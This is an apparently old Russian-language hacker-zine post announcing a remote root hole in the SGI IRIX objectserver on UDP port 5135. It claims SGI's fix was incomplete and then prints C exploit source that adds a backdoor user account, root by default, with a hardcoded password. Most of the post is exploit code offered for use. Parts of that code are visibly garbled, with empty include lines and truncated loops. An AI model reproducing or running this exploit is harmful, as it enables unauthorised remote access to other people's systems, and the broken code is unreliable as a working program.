|
IRIX OBJECTSERVER REMOTE R00T
Team Void
Новое - это хорошо забытое старое. Эта истина оказалась верна и в применении к компьютерной безопасности - старая уязвимость, связанная с переполненеим буффера в SGI objectserver, слушающим по умолчанию на порту udp-5135. Данное программное обеспечение подвержено переполнению буффера, что позволяет как всегда исполнить команду с привилегиями самого ObjectServer на уязвимом хосте. Уязвимости подвержены версии 5.2, 5.3, 6.0.1, 6.1 и 6.2 (первоначально данная уязвимость была открыта аж три года назад, и SGI сообщил, что в версии 6.2 она ликвидирована). Что ж - оказалось, что это вовсе не так, и "ликвидация" свелась к тому, что старый эксплоит перестал добавлять в систему рутовский аккоунт (uid=0), но возможность переполнения осталась, и мы по-прежнему можем добавлять в систему аккоунты c с ненулевым uid:
Эксплоит прислал Marcy Abene
/* usage: ob_account ipaddr [-u username] [-i userid] [-p]
*/
/* -i specify userid (other than 0)
*/
/* -u change the default added username
*/
/* -p probe if there's the objectserver running
*/
/*
*/
/* default account added : lsd
*/
/* default password : m4c10r4!
*/
/* default user home directory : /tmp/.new
*/
/* default userid : 0
*/
#include
#include
#include
#include
#include
#include
#include
#include
#define E if(errno) perror("");
struct iovec iov[2];
struct msghdr msg;
char buf1[1024],buf2[1024];
int sck;
unsigned long adr;
void show_msg(){
char *p,*p1;
int i,j,c,d;
c=0;
printf("%04x ",iov[0].iov_len);
p=(char*)iov[0].iov_base;
for(i=0;i1){
for(i=0;i<(16-c);i++) printf(" ");
for(i=0;i1){
for(i=0;i<(16-c);i++) printf(" ");
for(i=0;i>8;
dodaj_two[offset++]=userid&0xff;
}
else dodaj_two[offset++]=0x00;
memcpy(&dodaj_two[offset],&dodaj_five[0],39);
offset+=39;
dodaj_one[10]=offset>>8;
dodaj_one[11]=offset&0xff;
new_account(offset);
}
}
/* end g23 exploit post */
duke.
|